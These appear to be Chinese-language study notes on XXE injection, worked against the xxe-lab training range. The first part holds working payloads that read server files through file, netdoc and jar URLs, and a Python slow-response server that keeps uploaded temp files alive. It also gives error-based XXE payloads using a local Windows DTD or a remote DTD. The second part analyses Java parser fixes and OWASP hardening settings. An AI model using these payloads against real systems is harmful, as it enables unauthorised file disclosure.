XXE记录
修复等仅仅举例一个 其他的可以在参考文章中阅读。
基础知识
基础知识文档 建议多看w3标准:
https://www.yiibai.com/xml/xml_overview.html【xml】
https://www.yiibai.com/dtd/dtd_entities.html【dtd】
https://www.w3.org/TR/xml/【XML标准】
https://wenku.baidu.com/view/16e5e3e9e009581b6bd9eba3【xml标准翻译】
需要注意的是在XML中有这样一条对参数实体有效约束:
举两个例子:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % p "text">
<!ENTITY text "this is a %p;">
<!--这种情况就是在实体声明内部引用,错误-->
]>
<note>&text;</note>
如果是在外部
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % q SYSTEM "http://localhost/note.dtd">
%q;
]>
<note>&text;</note>
note.dtd
<!ENTITY % p "text">
<!ENTITY text "this is a %p;"> <!--%p;可以替换成"text"-->
测试环境
基于以下靶场作为测试,以及各语言支持的协议。这里主要针对JAVA语言的一些特性来写。
https://github.com/c0ny1/xxe-lab
JAVA
Java所支持的协议均在sun.net.www.protocol
中
其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
一般利用file协议来读文件,netdoc 可以代替部分file协议来读取文件。利用http探测内网,以及配合file协议作为不回显时候使用。
Jar:// 文件上传
jar 协议语法,jar:{url}!/{entry}
,url是文件的路径,entry是想要解压出来的文件
jar 协议处理文件的过程:
- 下载 jar/zip 文件到临时文件中
- 提取出我们指定的文件
- 删除临时文件
那么延长服务器传递文件的时间,就可以延长临时文件存在的时间
jar_server.py,这里在传输最后一个字符的时候会 sleep 30s
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
我们制作一个压缩包 里面放一个文件。如图所示监听脚本然后 使用如图所示POC
<!DOCTYPE convert [
<!ENTITY jar SYSTEM "jar:http://localhost:9999/3.zip!/1.jsp">
]>
<user><username>&jar;</username><password>1</password></user>
可以看到读出来了1.jsp 如果对方服务器开启了报错,我们输入一个2.jsp。服务器则会直接报错文件名的目录。
我们可以看到temp文件在windows下的temp目录下
C:\Users\Administrator\AppData\Local\Temp
那我们可以使用ftp读取temp目录下的文件 这样就可以知道刚刚我们上传上去的文件名到底是什么了。当然ftp在java 8u131就正式修复了FTP Client的\n注入问题 CVE编号是CVE-2017-3533
这里使用低于131版本即可。使用的脚本链接
https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/python/xxe-server.py
这里有几个坑点 例如服务器文件名有点问题。java会报错2 字节的 UTF-8 序列的字节 2 无效。以及如果temp文件有什么东西东西【具体不知】就读取不了temp目录。我在本地是读取不到的,然后删除所有一次就可以又读取到了。
netdoc 协议
Java 中 netdoc 协议可以替代 file 协议功能,读文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY jar SYSTEM "netdoc:///C:\Windows\win.ini">
]>
<user><username>&jar;</username><password>1</password></user>
报错XXE
参考:
P牛报错XXE
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
原理
- 第一步找到一个目标存在的dtd,然后加载它。
- 第二步读取我们想要的文件,通过重新定义一些参数实体引用,因为所有 XML 实体都是常量。如果您定义两个具有相同名称的实体,则只会使用第一个实体。
- 加载远程文件通过读取或者不存在使其报错 从而爆出文件内容。或者加载url,请求失败,xml解析报错。
PHP
在php因为用的libxml 可以直接将dtd放在请求XML中所以不需要找本地dtd。使用P牛的poc
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % NUMBER '
<!ENTITY % file SYSTEM "file:///c:/1.xml">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>any text</message>
JAVA
JAVA则需要出网才能达到这种报错的效果,原因我们下面会讲到。
服务器建立报错dtd
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
使用poc
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://127.0.0.1:8888/error.xml">
%ext;
]>
内部子集中无法使用参数实体
然而这种放在java就是不可行的了。我们在基础知识提到参数实体引不能出现在 DTD 的内部子集中的标记内而JAVA就遵循了这一点。所以需要寻找一个本地dtd然后通过修改实体达到报错的目的。
C:\Windows\System32\wbem\xml\cim20.dtd
是始终存在的 Windows DTD 文件的路径。
我们可以根据文章构造如下poc
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "file:///c:/1.xml">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY test "test"'>
%local_dtd;
]>
<message>any text</message>
读取xml等特殊字符
使用CDATA节点即可。https://www.yiibai.com/xml/xml_cdata_sections.html
像PHP可以使用一些协议读就不讨论了。这里主要记录下JAVA
准备外部dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % data SYSTEM "file:///c:/1.xml">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY filedata '%start;%data;%end;'>">
其他POC
简单改动即使用 例如DOS等攻击
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection
JAVA_XXE修复
JAVA_XXE Document调用栈
setupCurrentEntity:647, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
startEntity:1304, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
startEntity:1240, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
scanEntityReference:1908, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:3061, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:243, DOMParser (com.sun.org.apache.xerces.internal.parsers)
parse:339, DocumentBuilderImpl (com.sun.org.apache.xerces.internal.jaxp)
parse:121, DocumentBuilder (javax.xml.parsers)
main:20, DocumentXXE (com.demo.xxe)
setExpandEntityReferences分析
在微信Java SDK XXE案例中[参考中有链接阅读]
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
我们知道 这样子修复是不起作用的。
分析setExpandEntityReferences调用栈如下
endGeneralEntity:1644, AbstractDOMParser (com.sun.org.apache.xerces.internal.parsers)
endGeneralEntity:1055, XMLDTDValidator (com.sun.org.apache.xerces.internal.impl.dtd)
endEntity:906, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
endEntity:559, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
endEntity:1401, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
load:1916, XMLEntityScanner (com.sun.org.apache.xerces.internal.impl)
skipChar:1551, XMLEntityScanner (com.sun.org.apache.xerces.internal.impl)
next:2821, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:243, DOMParser (com.sun.org.apache.xerces.internal.parsers)
parse:339, DocumentBuilderImpl (com.sun.org.apache.xerces.internal.jaxp)
parse:121, DocumentBuilder (javax.xml.parsers)
main:20, DocumentXXE (com.demo.xxe)
- DocumentBuilderFactory.setExpandEntityReferences()传入false会改变DocumentBuilderFactoryImpl中expandEntityRef变量的值 (默认true)
- DocumentBuilderFactory.newDocumentBuilder()创建DocumentBuilderImpl时,会根据expandEntityRef的 相反值改变fConfiguration中http://apache.org/xml/features/dom/create-entity-ref-nodes的值
- XMLParser.reset()时,AbstractDOMParser中fCreateEntityRefNodes变量也被重置为true
- 在XMLDocumentFragmentScannerImpl.scanDocument()时,调用scanDoctypeDecl()扫描DOCTYPE,之后交给DTDDriver.next()处理实体声明
- 当进入START_ELEMENT阶段后,startEntity()会调用scanEntityReference()扫描并解析实体引用&xxe;,而在endEntity()判断fCreateEntityRefNodes为false时,将会移除掉该节点
所以原因就是解析XML生成的Document文档进行设置,设置为 true则展开实体引用到生成的文档中替换掉&xxx的实体引用声明,设置为false则保留实体引用声明的DOM树在生成的文档中。【具体可以看下面参考第一篇的案例即可了解。】
正确的防御措施
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
/*以下为修复代码*/ //https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
//禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //首选
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //防止外部实体POC
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //防止参数实体POC
/*以上为修复代码*/
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
owasp推荐的,其实也就是多了三个属性的设置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
// If you can't completely disable DTDs, then at least do the following:
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
// JDK7+ - http://xml.org/sax/features/external-general-entities
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
// JDK7+ - http://xml.org/sax/features/external-parameter-entities
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
// Disable external DTDs as well
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
>..
// Load XML file or stream using a XXE agnostic configured parser...
DocumentBuilder safebuilder = dbf.newDocumentBuilder();
以及JAXBContext里在创建unmarshaller的时候,某句话,设置了secure-processing的Feature
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);
我们这里主要看一下
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
除了设置属性外。在XMLDocumentFragmentScannerImpl.scanDocument()由PrologDriver.next()依次扫描到<、!字符后进入SCANNER_STATE_DOCTYPE阶段,该阶段第一件事就是判断fDisallowDoctype的值,如果为true,则直接报告异常信息中断扫描
错误的修复
工厂类的话,一定要先设置Feature,再去生成数据。例如下面两种写法,后者是无效的
public void safe() throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
builder.parse(ResourceUtils.getPoc1());
}
public void unsafe() throws ParserConfigurationException, IOException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
builder.parse(ResourceUtils.getPoc1());
}
参考
https://gv7.me/articles/2019/a-widely-circulated-xxe-bug-fix/
https://paper.seebug.org/papers/scz/misc/201911211542.txt
https://www.t00ls.com/viewthread.php?tid=53607
https://www.leadroyal.cn/p/562/